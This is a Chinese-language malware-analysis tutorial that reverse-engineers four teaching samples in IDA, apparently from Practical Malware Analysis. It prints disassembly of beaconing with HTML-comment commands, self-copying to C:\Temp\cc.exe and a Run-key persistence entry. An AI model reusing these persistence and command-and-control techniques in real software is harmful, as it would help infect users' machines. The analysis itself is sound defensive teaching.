从反汇编看恶意程序的C语言结构

本文首发于奇安信攻防社区,原文链接:https://forum.butian.net/share/833

0x00 前言

本文利用IDA分析4个简单的恶意程序,旨在基本掌握这4个恶意程序的C语言逻辑结构,同时这4个程序功能逐渐递增,循序渐进。笔者也是初学者,有些不足之处在所难免,请师傅们斧正

0x01

详细分析

首先静态分析该exe文件,看下导入函数,其中一个调用了 WININET.dll中的 InternetGetConnectedState 函数,这个跟其他调用 kernel32.dll 中的函数相比,显得有些特殊。

image-20211023170231536

查阅文档可知,这是一个 判断本地网络连接状态的函数,连接成功返回1,连接失败返回0

互联网连接状态功能 (wininet.h) - win32 应用程序|微软文档 (microsoft.com)

1
2
3
4
BOOL InternetGetConnectedState(
[out] LPDWORD lpdwFlags,
[in] DWORD dwReserved
);

找到了main 函数,就从这里开始分析

main函数位于401040,调用了401000处的函数

image-20211024100414924

跳过去看看

上面一大堆没用的是编译器生成的,不要陷入其中

看到该区段的权限是 可读/可执行,并且调用了 InternetGetConnectedState 函数

image-20211024095211845

不看流程图的话大概也可以看出这是一个 if 语句的汇编代码,cmp [ebp+var_4] ,0 ,根据结果跳转到不同的分支

image-20211024100555118

View->Graphs->Flow chart可以查看流程图,相比较于空格的 流程图,更简洁明了

这里使用cmp指令对保存了返回结果的eax寄存器与0比较,然后使用 jz 指令控制执行流。上面我们提到,当 建立网络连接时,InternetGetConnectedState 函数返回1,否则返回0. 如果结果是1,0标志位(ZF)会被清除,jz跳转到1所在的false分支,否则跳转到true分支

下面分析这个位于 40105f处的子过程

image-20211024103413308

image-20211024102412365

其实这里是 printf 函数,但是我们并没有看到一些printf函数的特征,这就需要去找一些其他的特征来证明这里是printf函数

在调用这个函数之前,都向栈中push了 一串 格式化字符串,并且结尾是 \n 换行符,因此可以推出这里调用的函数就是 printf

上面都是是根据静态分析得出的结论,真正的结果还是要实践检验一下

image-20211024104729701

总结

这个恶意代码的主要功能就是检查是否存在 Internet连接,存在输出1,否则输出0。

0x02

详细分析

首先还是看到这个pe文件的导入表

image-20211024113751290

1
2
3
4
5
InternetOpenUrl: 通过FTP或 HTTP URL打开一个原始资源。如果连接成功建立,则返回一个有效的句柄,如果连接失败,则返回 NULL
internetclosehandle :关闭句柄,成功关闭返回 true,否则返回false
InternetReadFile: 从InternetOpenA打开的句柄读取数据
InternetGetConnectedState: 验证网络连接状态
InternetOpenA: 设置用户代理,即HTTP的 user-agent 头

看到其中的一些字符串,在结合上面调用的 api函数,不难猜出,要访问的url地址

image-20211024122037986

接着来分析 main 函数

image-20211024161416764

401000 处这里就不说了,和前面一样

但是401000 这里还调用的 40117f,跳过去看看

image-20211024162008554

这个结构很像前面分析的 printf 函数,那我们再往前看一看。

image-20211024162045209

果然,在push入栈中也有一串格式化的字符串,基本可以确定 40117f 处的函数是 printf函数

image-20211024163400472

同时,main 函数中还调用了另一个 401040函数

image-20211024163841168

这里包含了所有 前面发现的 WinINet api的调用。首先调用了 InternetOpen ,以初始化对WinINet的使用。在这之前,将 Internet Explorer 7.5 push 入栈,当作 User-Agent 头部,接着调用 InternetOpenUrl ,打开该静态网页

image-20211024164123810

可以看到,调用完 InternetOpenUrl 后,返回值被赋值给了hFIle,并接着与0比较,如果等于0会返回,否则跳转到40109D,hFile被传递给InternetReadFIle函数。

InternetReadFile 函数用于从 InternetOpenUrlA打开的网页中读取内容。在调用完后,会和0比较,如果为0,该函数会关闭句柄并终止,否则会跳转到 4010E5,逐步比较 buffer 数组 与每个字符的值,

image-20211024164448907

这里有注释会好很多<!— ,否则的话,最开始的 3c 对应的ASCII码是 <,也可以一一对应 出 <!— ,这是html中注释的开始部分。

这时候就可以猜测存在 http 交互

image-20211024165314833

因此大概就可以确定,如果 buffer 的前 4个字节与 <!— 匹配成功的话,第5个字符就会被移到 AL 中并返回。

接着分析 main 函数,

看到在 401173 处 ,调用了 sleep 函数,传递的参数为 0xEA60h,即60000ms,1min

image-20211025010417268

总结

image-20211025011101939

该恶意样本检查是否有可用的网络连接,如果不存在,终止运行,否则返回 true,使用代理去下载其中包含的一个网址中的内容,这个网址包含注释,并且将printf解析后的字符串 “success: Parsed command is %c”到屏幕,输出成功的话,会sleep一分钟。这种方式是通过注释来隐藏指令,使得恶意代码看起来像是访问正常网页。

0x03

详细分析

还是先看看导入表,一些旧东西

image-20211025013425602

修改注册表的api函数, RegSet ValueExA和 RegOpenKeyExA 一起用于向注册表中插入信息,在设置应用程序启动项/开机自启时,通常会使用这两个函数

image-20211025014149215

字符串也是发现了一些很有意思的,在临时目录会生成 cc.exe 文件,还会去修改注册表的自启动项目录

image-20211025013731743

下面接着看main 函数,与上一个恶意样本很像,接下来就找不同

image-20211025014836872

401000 处的检查网络连接和 401040处的下载网页与 上一篇基本相同,而不同的是这里多了对401030的调用

image-20211025105418100

仔细分析 401130处的函数

image-20211025105628657

根据注释可以看出是 switch 分支语句

看下它传入的参数,在调用前,传入了 argv 和 var_8 push入栈作为参数,这里的 argv就是argv[0],就是这个程序的字符串引用,

image-20211025110552536

追踪 var_8 参数,发现在 40122D 处被设置为AL。此时 eax 存放的是上一个调用函数 401040的返回值,即html注释中的解析字符

image-20211025110814576

再来分析401130

arg_0 是IDA 自动生成的标签,用于标记调用函数前最后一个被push入栈的参数,所以这里的 arg_0 是解析得到的html指令字符,并赋值给 var_8,接着加载到ecx中执行,减去61h,因此,如果传入的arg_0 =a,执行sub指令后,ecx归0

接下来 cmp ecx 和4,检查 arg_0 是否是 a-e 中的某个字符,如果不是,ja 跳转到 401153,如果是的话,这个指令字符放入edx中,被用作跳转表的索引,看到下面 edx*4,因为这是switch结构,跳转表是一组指向不同函数的地址表,每个地址的大小占4个字节,而下面也正如我们所料,跳转表有5条记录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
.text:00401130                 push    ebp
.text:00401131 mov ebp, esp
.text:00401133 sub esp, 8
.text:00401136 movsx eax, [ebp+arg_0]
.text:0040113A mov [ebp+var_8], eax
.text:0040113D mov ecx, [ebp+var_8]
.text:00401140 sub ecx, 61h ; 'a' ; switch 5 cases
.text:00401143 mov [ebp+var_8], ecx
.text:00401146 cmp [ebp+var_8], 4
.text:0040114A ja def_401153 ; jumptable 00401153 default case
.text:00401150 mov edx, [ebp+var_8]
.text:00401153 jmp ds:jpt_401153[edx*4] ; switch jump
.text:0040115A ; ---------------------------------------------------------------------------
.text:0040115A
.text:0040115A loc_40115A: ; CODE XREF: sub_401130+23↑j
.text:0040115A ; DATA XREF: .text:jpt_401153↓o
.text:0040115A push 0 ; jumptable 00401153 case 97
.text:0040115C push offset PathName ; "C:\\Temp"
.text:00401161 call ds:CreateDirectoryA
.text:00401167 jmp loc_4011EE
.text:0040116C ; ---------------------------------------------------------------------------
.text:0040116C
.text:0040116C loc_40116C: ; CODE XREF: sub_401130+23↑j
.text:0040116C ; DATA XREF: .text:jpt_401153↓o
.text:0040116C push 1 ; jumptable 00401153 case 98
.text:0040116E push offset Data ; "C:\\Temp\\cc.exe"
.text:00401173 mov eax, [ebp+lpExistingFileName]
.text:00401176 push eax ; lpExistingFileName
.text:00401177 call ds:CopyFileA
.text:0040117D jmp short loc_4011EE

image-20211025145148050

分别来看这5条语句调用函数的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
.text:0040115A loc_40115A:                             ; CODE XREF: sub_401130+23↑j
.text:0040115A ; DATA XREF: .text:jpt_401153↓o
.text:0040115A push 0 ; jumptable 00401153 case 97
.text:0040115C push offset PathName ; "C:\\Temp"
.text:00401161 call ds:CreateDirectoryA
.text:00401167 jmp loc_4011EE
.text:0040116C ; ---------------------------------------------------------------------------
.text:0040116C
.text:0040116C loc_40116C: ; CODE XREF: sub_401130+23↑j
.text:0040116C ; DATA XREF: .text:jpt_401153↓o
.text:0040116C push 1 ; jumptable 00401153 case 98
.text:0040116E push offset Data ; "C:\\Temp\\cc.exe"
.text:00401173 mov eax, [ebp+lpExistingFileName]
.text:00401176 push eax ; lpExistingFileName
.text:00401177 call ds:CopyFileA
.text:0040117D jmp short loc_4011EE
.text:0040117F ; ---------------------------------------------------------------------------
.text:0040117F
.text:0040117F loc_40117F: ; CODE XREF: sub_401130+23↑j
.text:0040117F ; DATA XREF: .text:jpt_401153↓o
.text:0040117F push offset Data ; jumptable 00401153 case 99
.text:00401184 call ds:DeleteFileA
.text:0040118A jmp short loc_4011EE
.text:0040118C ; ---------------------------------------------------------------------------
.text:0040118C
.text:0040118C loc_40118C: ; CODE XREF: sub_401130+23↑j
.text:0040118C ; DATA XREF: .text:jpt_401153↓o
.text:0040118C lea ecx, [ebp+phkResult] ; jumptable 00401153 case 100
.text:0040118F push ecx ; phkResult
.text:00401190 push 0F003Fh ; samDesired
.text:00401195 push 0 ; ulOptions
.text:00401197 push offset SubKey ; "Software\\Microsoft\\Windows\\CurrentVe"...
.text:0040119C push 80000002h ; hKey
.text:004011A1 call ds:RegOpenKeyExA
.text:004011A7 push 0Fh ; cbData
.text:004011A9 push offset Data ; "C:\\Temp\\cc.exe"
.text:004011AE push 1 ; dwType
.text:004011B0 push 0 ; Reserved
.text:004011B2 push offset ValueName ; "Malware"
.text:004011B7 mov edx, [ebp+phkResult]
.text:004011BA push edx ; hKey
.text:004011BB call ds:RegSetValueExA
.text:004011C1 test eax, eax
.text:004011C3 jz short loc_4011D2
.text:004011C5 push offset aError31CouldNo ; "Error 3.1: Could not set Registry value"...
.text:004011CA call sub_401271
.text:004011CF add esp, 4
.text:004011D2
.text:004011D2 loc_4011D2: ; CODE XREF: sub_401130+93↑j
.text:004011D2 jmp short loc_4011EE
.text:004011D4 ; ---------------------------------------------------------------------------
.text:004011D4
.text:004011D4 loc_4011D4: ; CODE XREF: sub_401130+23↑j
.text:004011D4 ; DATA XREF: .text:jpt_401153↓o
.text:004011D4 push 186A0h ; jumptable 00401153 case 101
.text:004011D9 call ds:Sleep
.text:004011DF jmp short loc_4011EE
1
2
3
4
5
a:调用createdirectory函数,参数是 C:\\Temp,如果该目录不存在,则创建该目录
b:调用copy file函数,两个参数分别是源文件(argv[0]即目标程序)和目的文件(C:\\Temp\cc.exe)
c:调用deletefile函数,当 C:\\Temp\cc.exe 文件存在时删除它
d:调用 RegSet ValueExA和 RegOpenKeyExA 在注册表中添加开机自启,即将Software\Microsoft Windows \CurrentVersion\Run\Malware 的值添加为C:\\Temp\cc.exe,这样目标机器每次开机时都会启动该恶意程序
e:调用sleep函数,参数100s

总结

该程序的主要功能也了然于胸了,首先 if 判断是否联网,不联网程序终止。联网的话程序会去下载一个网页,其中包含了html的注释头部,并解析出第一个字符,用来校验switch的参数,决定执行哪条语句(创建目录/拷贝文件/删除文件/修改注册表/sleep)

0x04

详细分析

首先还是先看下导入表,和前面一样,并没有多余的改变。

image-20211026005112318

image-20211026005218171

字符串的唯一变化就是多了 Internet Explorer 7.5 ,看来是多了个 user-agent 代理

image-20211026005746253

相同的这些就不说了,来看看不同点有哪些

来到main函数这里,也是很多相同的函数,401000(判断Internet是否连接),401040(解析HTML),4012b5(printf函数),401150(switch语句)

image-20211026010144588

image-20211026010305611

image-20211026010412326

而当我们看整个函数视图的时候,发现了一个向上的箭头,很明显出现了循环

image-20211026011002118

那就来分析下这段循环结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
00401248 ; ---------------------------------------------------------------------------
.text:00401248
.text:00401248 loc_401248: ; CODE XREF: _main+12↑j
.text:00401248 mov [ebp+var_C], 0
.text:0040124F jmp short loc_40125A
.text:00401251 ; ---------------------------------------------------------------------------
.text:00401251
.text:00401251 loc_401251: ; CODE XREF: _main+7D↓j
.text:00401251 mov eax, [ebp+var_C]
.text:00401254 add eax, 1
.text:00401257 mov [ebp+var_C], eax
.text:0040125A
.text:0040125A loc_40125A: ; CODE XREF: _main+1F↑j
.text:0040125A cmp [ebp+var_C], 5A0h
.text:00401261 jge short loc_4012AF
.text:00401263 mov ecx, [ebp+var_C]
.text:00401266 push ecx
.text:00401267 call sub_401040
.text:0040126C add esp, 4
.text:0040126F mov [ebp+var_8], al
.text:00401272 movsx edx, [ebp+var_8]
.text:00401276 test edx, edx
.text:00401278 jnz short loc_40127E
.text:0040127A xor eax, eax
.text:0040127C jmp short loc_4012B1
.text:0040127E ; ---------------------------------------------------------------------------
.text:0040127E
.text:0040127E loc_40127E: ; CODE XREF: _main+48↑j
.text:0040127E movsx eax, [ebp+var_8]
.text:00401282 push eax
.text:00401283 push offset aSuccessParsedC ; "Success: Parsed command is %c\n"
.text:00401288 call sub_4012B5
.text:0040128D add esp, 8
.text:00401290 mov ecx, [ebp+argv]
.text:00401293 mov edx, [ecx]
.text:00401295 push edx ; lpExistingFileName
.text:00401296 mov al, [ebp+var_8]
.text:00401299 push eax ; char
.text:0040129A call sub_401150
.text:0040129F add esp, 8
.text:004012A2 push 0EA60h ; dwMilliseconds
.text:004012A7 call ds:Sleep
.text:004012AD jmp short loc_401251

很明显,var_c 是用来循环计数的,在 4012AD 处 jmp 401251,返回递增,如果大于5A0h(1440d) 就在401261处跳出循环到 4012AF,循环结束.否则程序接着运行,在401263处开始。将ecx(var_c) push入栈,接着调用401040(解析html)函数,然后慢慢执行,在4012A7 处调用sleep函数,参数是 EA60h(60000d),即1分钟,所以这个程序会sleep 1440 分钟(24小时)

在上一个程序中,401040 处并没有参数,而这里传入了 arg_0 作为参数,并且是唯一的参数,而在调用 401040 前,push进了ecx,即var_c,所以这里的arg_0 就是var_c(计数器),push arg_0入栈后,接着push了 Internet Explorer 7.50/pma%d 字符串,和 szAgent的地址。然后调用_sprintf 函数,用来将格式化的数据写入字符串,并存储在szAgent 中。然后在40106a调用 INternetOpen 函数,传入的参数是 szAgent,也就是说,每次var_C 计数器增加后, user-agent长度也会随之改变。这里就可以用来监测该程序运行了多长时间。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
text:00401040                 push    ebp
.text:00401041 mov ebp, esp
.text:00401043 sub esp, 230h
.text:00401049 mov eax, [ebp+arg_0]
.text:0040104C push eax
.text:0040104D push offset Format ; "Internet Explorer 7.50/pma%d"
.text:00401052 lea ecx, [ebp+szAgent]
.text:00401055 push ecx ; Buffer
.text:00401056 call _sprintf
.text:0040105B add esp, 0Ch
.text:0040105E push 0 ; dwFlags
.text:00401060 push 0 ; lpszProxyBypass
.text:00401062 push 0 ; lpszProxy
.text:00401064 push 0 ; dwAccessType
.text:00401066 lea edx, [ebp+szAgent]
.text:00401069 push edx ; lpszAgent
.text:0040106A call ds:InternetOpenA
.text:00401070 mov [ebp+hInternet], eax
.text:00401073 push 0 ; dwContext
.text:00401075 push 0 ; dwFlags
.text:00401077 push 0 ; dwHeadersLength
.text:00401079 push 0 ; lpszHeaders
.text:0040107B push offset szUrl ; "http://www.practicalmalwareanalysis.com"...
.text:00401080 mov eax, [ebp+hInternet]
.text:00401083 push eax ; hInternet
.text:00401084 call ds:InternetOpenUrlA
.text:0040108A mov [ebp+hFile], eax
.text:0040108D cmp [ebp+hFile], 0
.text:00401091 jnz short loc_4010B1
.text:00401093 push offset aError21FailToO ; "Error 2.1: Fail to OpenUrl\n"
.text:00401098 call sub_4012B5
.text:0040109D add esp, 4
.text:004010A0 mov ecx, [ebp+hInternet]
.text:004010A3 push ecx ; hInternet
.text:004010A4 call ds:InternetCloseHandle
.text:004010AA xor al, al
.text:004010AC jmp loc_401140

总结

首先,程序会使用if结构检查是否建立连接。如果无,程序终止运行。否则,程序使用
一个上面提到的的User-Agent 来下载一个html, 这个User-Agent包含了一个循环结构的计数器,用于向attacker显示程序已
经运行了多长时间。下载的网页中包含了以<!–开头的html注释代码,这段注释代码中
接下来的第一个字符被用于一个switch语句,以决定接下来在本地系统的行为。包括删除文件、创建个目录、 设置一个注册表run键、复制文件、休眠100秒等。最终该程序会运行24小时后终止。

总结

通过简单的反汇编看简单恶意文件的C语言结构就先到这里,思路我上面都有提到,更复杂的我也正在慢慢学习,如有不足,欢迎师傅们斧正。

Peace.